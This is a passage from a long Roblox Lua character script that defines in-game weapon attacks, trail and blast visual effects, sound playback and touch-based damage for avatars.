  3235. --dmgstop()
  3236. attack=false
  3237. con1:disconnect()
  3238. if TrailDeb == true then
  3239. TrailDeb = false
  3240. end
  3241. end
  3242.  
  3243. function attacktwo()
  3244. attack=true
  3245. if TrailDeb == false then
  3246. TrailDeb = true
  3247. end
  3248.  
  3249.  
  3250. coroutine.wrap(function()
  3251. local Old = Handle2.CFrame.p
  3252. while wait()do
  3253. if not TrailDeb then break end
  3254. local New = Handle2.CFrame.p
  3255. local Mag =(Old -New).magnitude
  3256. local Dis =(Old +New)/2
  3257. local Trail = Instance.new("Part",Character)
  3258. Trail.Material = "Neon"
  3259. Trail.Anchored = true
  3260. Trail.CanCollide = false
  3261. Trail.BrickColor = TorsoColor
  3262. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3263. Trail.TopSurface = 0
  3264. Trail.BottomSurface = 0
  3265. Trail.formFactor = "Custom"
  3266. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3267. local ms = Instance.new("BlockMesh",Trail)
  3268. ms.Scale = Vector3.new(1,1,1)
  3269. local TM = Instance.new("CylinderMesh",Trail)
  3270. TM.Scale = Vector3.new(1,1,1)
  3271. Old = New
  3272. coroutine.wrap(function()
  3273. for i = 1,0,-0.1 do
  3274. wait()
  3275. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3276. end
  3277. Trail:remove()
  3278. end)()
  3279. coroutine.wrap(function()
  3280. for i = 1,10 do
  3281. wait()
  3282. Trail.Transparency = Trail.Transparency +0.1
  3283. end end)()end end)()
  3284. con1=Gear2.Touched:connect(Damage_OnTouch)
  3285. for i=0,1,0.08 do
  3286. swait()
  3287. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
  3288. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3289. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3290. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(0),math.rad(20)),.2)
  3291. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3292. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
  3293. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
  3294. end
  3295. so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  3296. so("http://www.roblox.com/asset/?id=159972627",Torso,1,1)
  3297. for i=0,1,0.1 do
  3298. swait()
  3299. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3300. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
  3301. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3302. Handle2weld.C0=clerp(Handle2weld.C0,cf(10,1,-5)*angles(math.rad(0),math.rad(-80),math.rad(20)),.2)
  3303. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3304. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  3305. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
  3306. end
  3307. --dmgstop()
  3308. attack=false
  3309. con1:disconnect()
  3310. if TrailDeb == true then
  3311. TrailDeb = false
  3312. end
  3313. end
  3314.  
  3315. function attackthree()
  3316. attack=true
  3317. if TrailDeb == false then
  3318. TrailDeb = true
  3319. end
  3320.  
  3321.  
  3322. coroutine.wrap(function()
  3323. local Old = Handle.CFrame.p
  3324. while wait()do
  3325. if not TrailDeb then break end
  3326. local New = Handle.CFrame.p
  3327. local Mag =(Old -New).magnitude
  3328. local Dis =(Old +New)/2
  3329. local Trail = Instance.new("Part",Character)
  3330. Trail.Material = "Neon"
  3331. Trail.Anchored = true
  3332. Trail.CanCollide = false
  3333. Trail.BrickColor = TorsoColor
  3334. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3335. Trail.TopSurface = 0
  3336. Trail.BottomSurface = 0
  3337. Trail.formFactor = "Custom"
  3338. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3339. local ms = Instance.new("BlockMesh",Trail)
  3340. ms.Scale = Vector3.new(1,1,1)
  3341. local TM = Instance.new("CylinderMesh",Trail)
  3342. TM.Scale = Vector3.new(1,1,1)
  3343. Old = New
  3344. coroutine.wrap(function()
  3345. for i = 1,0,-0.1 do
  3346. wait()
  3347. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3348. end
  3349. Trail:remove()
  3350. end)()
  3351. coroutine.wrap(function()
  3352. for i = 1,10 do
  3353. wait()
  3354. Trail.Transparency = Trail.Transparency +0.1
  3355. end end)()end end)()
  3356. con1=Gear.Touched:connect(Damage_OnTouch)
  3357. for i=0,1,0.08 do
  3358. swait()
  3359. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(0)),.3)
  3360. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  3361. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3362. Handleweld.C0=clerp(Handleweld.C0,cf(3,7,-1)*angles(math.rad(20),math.rad(0),math.rad(-120)),.2)
  3363. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3364. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(0.5,-1.3,-0.1),.3)
  3365. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3366. end
  3367. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  3368. so("http://www.roblox.com/asset/?id=159882477",Torso,1,1)
  3369. for i=0,1,0.05 do
  3370. swait()
  3371. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  3372. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(0)),.3)
  3373. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3374. Handleweld.C0=clerp(Handleweld.C0,cf(2,4,-3)*angles(math.rad(120),math.rad(0),math.rad(-120)),.2)
  3375. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3376. RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(2,-1.3,0.1),.3)
  3377. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3378. end
  3379. --dmgstop()
  3380. attack=false
  3381. con1:disconnect()
  3382. if TrailDeb == true then
  3383. TrailDeb = false
  3384. end
  3385. end
  3386.  
  3387. function attackfour()
  3388. attack=true
  3389. if TrailDeb == false then
  3390. TrailDeb = true
  3391. end
  3392.  
  3393.  
  3394. coroutine.wrap(function()
  3395. local Old = Handle2.CFrame.p
  3396. while wait()do
  3397. if not TrailDeb then break end
  3398. local New = Handle2.CFrame.p
  3399. local Mag =(Old -New).magnitude
  3400. local Dis =(Old +New)/2
  3401. local Trail = Instance.new("Part",Character)
  3402. Trail.Material = "Neon"
  3403. Trail.Anchored = true
  3404. Trail.CanCollide = false
  3405. Trail.BrickColor = TorsoColor
  3406. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3407. Trail.TopSurface = 0
  3408. Trail.BottomSurface = 0
  3409. Trail.formFactor = "Custom"
  3410. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3411. local ms = Instance.new("BlockMesh",Trail)
  3412. ms.Scale = Vector3.new(1,1,1)
  3413. local TM = Instance.new("CylinderMesh",Trail)
  3414. TM.Scale = Vector3.new(1,1,1)
  3415. Old = New
  3416. coroutine.wrap(function()
  3417. for i = 1,0,-0.1 do
  3418. wait()
  3419. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3420. end
  3421. Trail:remove()
  3422. end)()
  3423. coroutine.wrap(function()
  3424. for i = 1,10 do
  3425. wait()
  3426. Trail.Transparency = Trail.Transparency +0.1
  3427. end end)()end end)()
  3428. coroutine.wrap(function()
  3429. local Old = Handle.CFrame.p
  3430. while wait()do
  3431. if not TrailDeb then break end
  3432. local New = Handle.CFrame.p
  3433. local Mag =(Old -New).magnitude
  3434. local Dis =(Old +New)/2
  3435. local Trail = Instance.new("Part",Character)
  3436. Trail.Material = "Neon"
  3437. Trail.Anchored = true
  3438. Trail.CanCollide = false
  3439. Trail.BrickColor = TorsoColor
  3440. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3441. Trail.TopSurface = 0
  3442. Trail.BottomSurface = 0
  3443. Trail.formFactor = "Custom"
  3444. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3445. local ms = Instance.new("BlockMesh",Trail)
  3446. ms.Scale = Vector3.new(1,1,1)
  3447. local TM = Instance.new("CylinderMesh",Trail)
  3448. TM.Scale = Vector3.new(1,1,1)
  3449. Old = New
  3450. coroutine.wrap(function()
  3451. for i = 1,0,-0.1 do
  3452. wait()
  3453. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3454. end
  3455. Trail:remove()
  3456. end)()
  3457. coroutine.wrap(function()
  3458. for i = 1,10 do
  3459. wait()
  3460. Trail.Transparency = Trail.Transparency +0.1
  3461. end end)()end end)()
  3462. con1=Gear2.Touched:connect(Damage_OnTouch)
  3463. con2=Gear.Touched:connect(Damage_OnTouch)
  3464. for i=0,1,0.08 do
  3465. swait()
  3466. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  3467. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3468. Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3469. Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3470. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  3471. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  3472. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3473. LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  3474. end
  3475. if anim then
  3476. anim.Disabled=true
  3477. end
  3478. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.7)
  3479. so("http://www.roblox.com/asset/?id=159882584",Torso,1,1)
  3480. for i=0,1,0.04 do
  3481. swait()
  3482. Torso.Velocity=RootPart.CFrame.lookVector*50
  3483. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,1)*angles(math.rad(-5),math.rad(0),math.rad(0+360*i)),.3)
  3484. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3485. Handleweld.C0=clerp(Handleweld.C0,cf(3,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3486. Handle2weld.C0=clerp(Handle2weld.C0,cf(-3,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3487. RW.C0=clerp(RW.C0,cf(1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3488. LW.C0=clerp(LW.C0,cf(-1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3489. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3490. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(0,-1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3491. end
  3492. --dmgstop()
  3493. attack=false
  3494. con1:disconnect()
  3495. con2:disconnect()
  3496. if anim then
  3497. anim.Disabled=false
  3498. end
  3499. if TrailDeb == true then
  3500. TrailDeb = false
  3501. end
  3502. end
  3503.  
  3504. function BlastEffect(brickcolor, cframe, x1, y1, z1, x2, y2, z2)
  3505. local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
  3506. prt.Anchored = true
  3507. prt.CFrame = cframe
  3508. local msh = mesh("SpecialMesh", prt, "FileMesh", "http://www.roblox.com/asset/?id=20329976", vt(0, 0, 0), vt(x1, y1, z1))
  3509. coroutine.resume(coroutine.create(function()
  3510. for i = 0, 1, 0.05 do
  3511. wait()
  3512. prt.Transparency = i
  3513. msh.Scale = msh.Scale + vt(x2, y2, z2)
  3514. end
  3515. prt.Parent = nil
  3516. end))
  3517. end
  3518.  
  3519. function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
  3520. for _, c in pairs(workspace:children()) do
  3521. local hum = c:findFirstChild("Humanoid")
  3522. if hum ~= nil then
  3523. local head = c:findFirstChild("Torso")
  3524. if head ~= nil then
  3525. local targ = head.Position - Part.Position
  3526. local mag = targ.magnitude
  3527. if mag <= magni and c.Name ~= Player.Name then
  3528. Damage_OnTouch(Hit)
  3529. end
  3530. end
  3531. end
  3532. end
  3533. end
  3534.  
  3535. function MagicCircle(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
  3536. local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
  3537. prt.Anchored = true
  3538. prt.CFrame = cframe
  3539. local msh = mesh("SpecialMesh", prt, "Sphere", "", vt(0, 0, 0), vt(x1, y1, z1))
  3540. game:GetService("Debris"):AddItem(prt, 2)
  3541. coroutine.resume(coroutine.create(function(Part, Mesh)
  3542. for i = 0, 1, delay do
  3543. swait()
  3544. Part.CFrame = Part.CFrame
  3545. Part.Transparency = i
  3546. Mesh.Scale = Mesh.Scale + vt(x3, y3, z3)
  3547. end
  3548. Part.Parent = nil
  3549. end), prt, msh)
  3550. end
  3551.  
  3552. function MagicJump()
  3553. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  3554. attack=true
  3555. mana=mana-25
  3556. --[[ Humanoid.WalkSpeed = 0
  3557. for i=0,1,0.01 do
  3558. swait()
  3559. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1.2)*angles(math.rad(45),math.rad(0),math.rad(45)),.1)
  3560. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-15),math.rad(15),math.rad(-45)),.1)
  3561. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  3562. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(60),math.rad(0),math.rad(45)),.1)
  3563. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-15),math.rad(15),math.rad(-30)),.1)
  3564. RH.C0=clerp(RH.C0,cf(0.5,-1.25,0.75)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(15),math.rad(-60),math.rad(-15)),.1)
  3565. LH.C0=clerp(LH.C0,cf(-1,0.1,-0.8)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(40),math.rad(0),math.rad(-30)),.1)
  3566. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(45)),.1)
  3567. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,-6)*angles(math.rad(-15),math.rad(-60),math.rad(45)),.1)
  3568. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(60),math.rad(45)),.1)
  3569. end]]--
  3570. Humanoid.Jump = true
  3571. Torso.Velocity = vt(0, 150, 0)
  3572. Humanoid.WalkSpeed = 64
  3573. so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8)
  3574. so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8)
  3575. for i=0,1,0.05 do
  3576. swait()
  3577. Neck.C0=clerp(Neck.C0,necko*euler(0.5,0,0),.3)
  3578. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3579. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0+8*i,0,0),.3)
  3580. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  3581. RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
  3582. RH.C0=clerp(RH.C0,cf(1,0,-1)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
  3583. LH.C0=clerp(LH.C0,cf(-1,0,-1)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
  3584. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
  3585. Handleweld.C0=clerp(Handleweld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(60),math.rad(0)),.2)
  3586. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(-60),math.rad(0)),.2)
  3587. end
  3588. for i=0,1,0.02 do
  3589. swait()
  3590. Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
  3591. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3592. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
  3593. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
  3594. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  3595. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
  3596. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  3597. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
  3598. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
  3599. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  3600. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  3601. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  3602. end
  3603. Humanoid.WalkSpeed = 0
  3604. swait(8)
  3605. so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
  3606. so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
  3607. local hit,pos=rayCast(Torso.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,100,Character)
  3608. if hit~=nil then
  3609. swait(2)
  3610. local ref=part(3,workspace,"SmoothPlastic",0,1,BrickColor.new("Really black"),"Effect",vt())
  3611. ref.Anchored=true
  3612. ref.CFrame=cf(pos)
  3613. game:GetService("Debris"):AddItem(ref,3)
  3614. for i=1,10 do
  3615. local Col=BrickColor.new("Really black")
  3616. local groundpart=part(3,Character,"SmoothPlastic",0,0,Col,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
  3617. groundpart.Anchored=true
  3618. groundpart.CanCollide=false
  3619. groundpart.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  3620. local Col2=TorsoColor
  3621. local groundpart2=part(3,Character,"SmoothPlastic",0,0,Col2,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
  3622. groundpart2.Anchored=true
  3623. groundpart2.CanCollide=false
  3624. groundpart2.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  3625. game:GetService("Debris"):AddItem(groundpart,5)
  3626. game:GetService("Debris"):AddItem(groundpart2,5)
  3627. end
  3628. BlastEffect(TorsoColor,cf(pos),1,1,1,1.4,1.4,1.4)
  3629. BlastEffect(BrickColor.new("Really black"),cf(pos),.9,.9,.9,1.2,1.2,1.2)
  3630. MagicCircle(BrickColor.new("Really black"),cf(pos),5,5,5,5,5,5,0.05)
  3631. MagicCircle(TorsoColor,cf(pos),6,6,6,6,6,6,0.05)
  3632. for i=0,1,0.06 do
  3633. swait()
  3634. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-20),math.rad(0),math.rad(0)),.3)
  3635. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3636. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-0.5)*angles(math.rad(50),math.rad(0),math.rad(0)),.3)
  3637. RW.C0=clerp(RW.C0,cf(1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(-30)),.3)
  3638. LW.C0=clerp(LW.C0,cf(-1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(30)),.3)
  3639. RH.C0=clerp(RH.C0,cf(1, -.5, -.5)*angles(math.rad(50),math.rad(90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
  3640. LH.C0=clerp(LH.C0,cf(-1, -1, -.5)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
  3641. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  3642. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  3643. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  3644. end
  3645. end
  3646. swait(20)
  3647. Humanoid.WalkSpeed = 12
  3648. --dmgstop()
  3649. attack=false
  3650. end
  3651. end
  3652.  
  3653. function Spin()
  3654. attack=true
  3655. mana=mana-40
  3656. if TrailDeb == false then
  3657. TrailDeb = true
  3658. end
  3659.  
  3660. coroutine.wrap(function()
  3661. local Old = Handle2.CFrame.p
  3662. while wait()do
  3663. if not TrailDeb then break end
  3664. local New = Handle2.CFrame.p
  3665. local Mag =(Old -New).magnitude
  3666. local Dis =(Old +New)/2
  3667. local Trail = Instance.new("Part",Character)
  3668. Trail.Material = "Neon"
  3669. Trail.Anchored = true
  3670. Trail.CanCollide = false
  3671. Trail.BrickColor = TorsoColor
  3672. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3673. Trail.TopSurface = 0
  3674. Trail.BottomSurface = 0
  3675. Trail.formFactor = "Custom"
  3676. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3677. local ms = Instance.new("BlockMesh",Trail)
  3678. ms.Scale = Vector3.new(1,1,1)
  3679. local TM = Instance.new("CylinderMesh",Trail)
  3680. TM.Scale = Vector3.new(1,1,1)
  3681. Old = New
  3682. coroutine.wrap(function()
  3683. for i = 1,0,-0.1 do
  3684. wait()
  3685. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3686. end
  3687. Trail:remove()
  3688. end)()
  3689. coroutine.wrap(function()
  3690. for i = 1,10 do
  3691. wait()
  3692. Trail.Transparency = Trail.Transparency +0.1
  3693. end end)()end end)()
  3694. coroutine.wrap(function()
  3695. local Old = Handle.CFrame.p
  3696. while wait()do
  3697. if not TrailDeb then break end
  3698. local New = Handle.CFrame.p
  3699. local Mag =(Old -New).magnitude
  3700. local Dis =(Old +New)/2
  3701. local Trail = Instance.new("Part",Character)
  3702. Trail.Material = "Neon"
  3703. Trail.Anchored = true
  3704. Trail.CanCollide = false
  3705. Trail.BrickColor = TorsoColor
  3706. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3707. Trail.TopSurface = 0
  3708. Trail.BottomSurface = 0
  3709. Trail.formFactor = "Custom"
  3710. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3711. local ms = Instance.new("BlockMesh",Trail)
  3712. ms.Scale = Vector3.new(1,1,1)
  3713. local TM = Instance.new("CylinderMesh",Trail)
  3714. TM.Scale = Vector3.new(1,1,1)
  3715. Old = New
  3716. coroutine.wrap(function()
  3717. for i = 1,0,-0.1 do
  3718. wait()
  3719. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3720. end
  3721. Trail:remove()
  3722. end)()
  3723. coroutine.wrap(function()
  3724. for i = 1,10 do
  3725. wait()
  3726. Trail.Transparency = Trail.Transparency +0.1
  3727. end end)()end end)()
  3728. Footsteps:Stop()
  3729. Footsteps2:Stop()
  3730. con1=Gear2.Touched:connect(Damage_OnTouch)
  3731. con2=Gear.Touched:connect(Damage_OnTouch)
  3732. so("http://www.roblox.com/asset/?id=159882497",Torso,1,1)
  3733. for i=0,1,0.1 do
  3734. swait()
  3735. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3736. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3737. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3738. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3739. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3740. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3741. end
  3742. if anim then
  3743. anim.Disabled=true
  3744. end
  3745. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3746. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3747. for i=0,1,0.05 do
  3748. swait()
  3749. Torso.Velocity=RootPart.CFrame.lookVector*100
  3750. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3751. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3752. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3753. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3754. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3755. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3756. end
  3757. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3758. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3759. for i=0,1,0.05 do
  3760. swait()
  3761. Torso.Velocity=RootPart.CFrame.lookVector*100
  3762. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3763. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3764. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3765. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3766. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3767. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3768. end
  3769. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3770. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3771. for i=0,1,0.05 do
  3772. swait()
  3773. Torso.Velocity=RootPart.CFrame.lookVector*100
  3774. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3775. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3776. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3777. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3778. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3779. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3780. end
  3781. --dmgstop()
